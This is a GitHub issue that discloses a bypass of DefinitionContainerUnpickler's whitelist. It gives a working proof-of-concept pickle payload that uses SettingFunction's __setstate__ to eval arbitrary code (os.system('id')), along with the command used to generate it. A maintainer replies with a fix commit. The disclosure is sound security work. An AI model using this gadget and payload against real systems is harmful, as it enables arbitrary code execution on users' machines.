Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

DefinitionContainerUnpickler is Bypassable #802

Open
splitline opened this issue Mar 27, 2022 · 1 comment
Open

DefinitionContainerUnpickler is Bypassable #802

splitline opened this issue Mar 27, 2022 · 1 comment

Comments

@splitline
Copy link

splitline commented Mar 27, 2022

Overview

We have a DefinitionContainerUnpickler to provide a safe way to deserialize. But the whitelist seems not really safe and basically bypassable.

How to Bypass (PoC)

It allows several classes here, it checks strictly but still have a gadgets there:

safe_globals = {
"UM.Settings.DefinitionContainer.DefinitionContainer",
"collections.OrderedDict",
"UM.Settings.SettingDefinition.SettingDefinition",
"UM.Settings.SettingFunction.SettingFunction",
"UM.Settings.SettingRelation.SettingRelation",
"UM.Settings.SettingRelation.RelationType"
}

I found a gadget in UM.Settings.SettingFunction.SettingFunction.

First thing we need to know is that pickle is not only able to call a function, but also can set attribute to any object. So we can modify the _code attribute of SettingFunction instance, then it'll get compiled and eval without checked by the ast checker (_SettingExpressionVisitor).

def __setstate__(self, state: Dict[str, Any]) -> None:
self.__dict__.update(state)
self._compiled = compile(self._code, repr(self), "eval")

Here is a pseudocode for pickle:

from UM.Settings.DefinitionContainer import DefinitionContainer
from UM.Settings.SettingFunction import SettingFunction
s = SettingFunction('42')
s._valid = True
s._code = '__import__("os").system("id")'
s(DefinitionContainer('dummy'))

I use my toy compiler to generate the pickle bytecode. Exploits should execute a Python code: __import__('os').system('id').

PoC:

import io
from UM.Settings.DefinitionContainerUnpickler import DefinitionContainerUnpickler
pickle_bytecode = b'\x80\x04\x95\xc5\x00\x00\x00\x00\x00\x00\x00(\x8c\x1fUM.Settings.DefinitionContainer\x8c\x13DefinitionContainer\x93\x94\x8c\x1bUM.Settings.SettingFunction\x8c\x0fSettingFunction\x93\x94h\x01\x8c\x011\x85R\x94h\x02\x94\x88\x94h\x03(\x8c\x06_validh\x04db\x8c\x1d__import__("os").system("id")\x94h\x03(\x8c\x05_codeh\x05dbh\x03h\x00\x8c\x05dummy\x85R\x85R1N.'
DefinitionContainerUnpickler(io.BytesIO(pickle_bytecode)).load()

Bytecode is generated by command: python pickora.py -c "from UM.Settings.DefinitionContainer import DefinitionContainer; from UM.Settings.SettingFunction import SettingFunction; s = SettingFunction('1'); s._valid = True; s._code = '__import__(\"os\").system(\"id\")'; s(DefinitionContainer('dummy'))"

The Proper Way?

Check the safe_globals more strictly (?)
Or just for this case, maybe we should also check the _code attribute by _SettingExpressionVisitor when __setstate__ .

@rburema
Copy link
Member

rburema commented Jun 15, 2022

Thanks for the analysis!

Or just for this case, maybe we should also check the _code attribute by _SettingExpressionVisitor when setstate .

Something like this perhaps? 96e245d

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants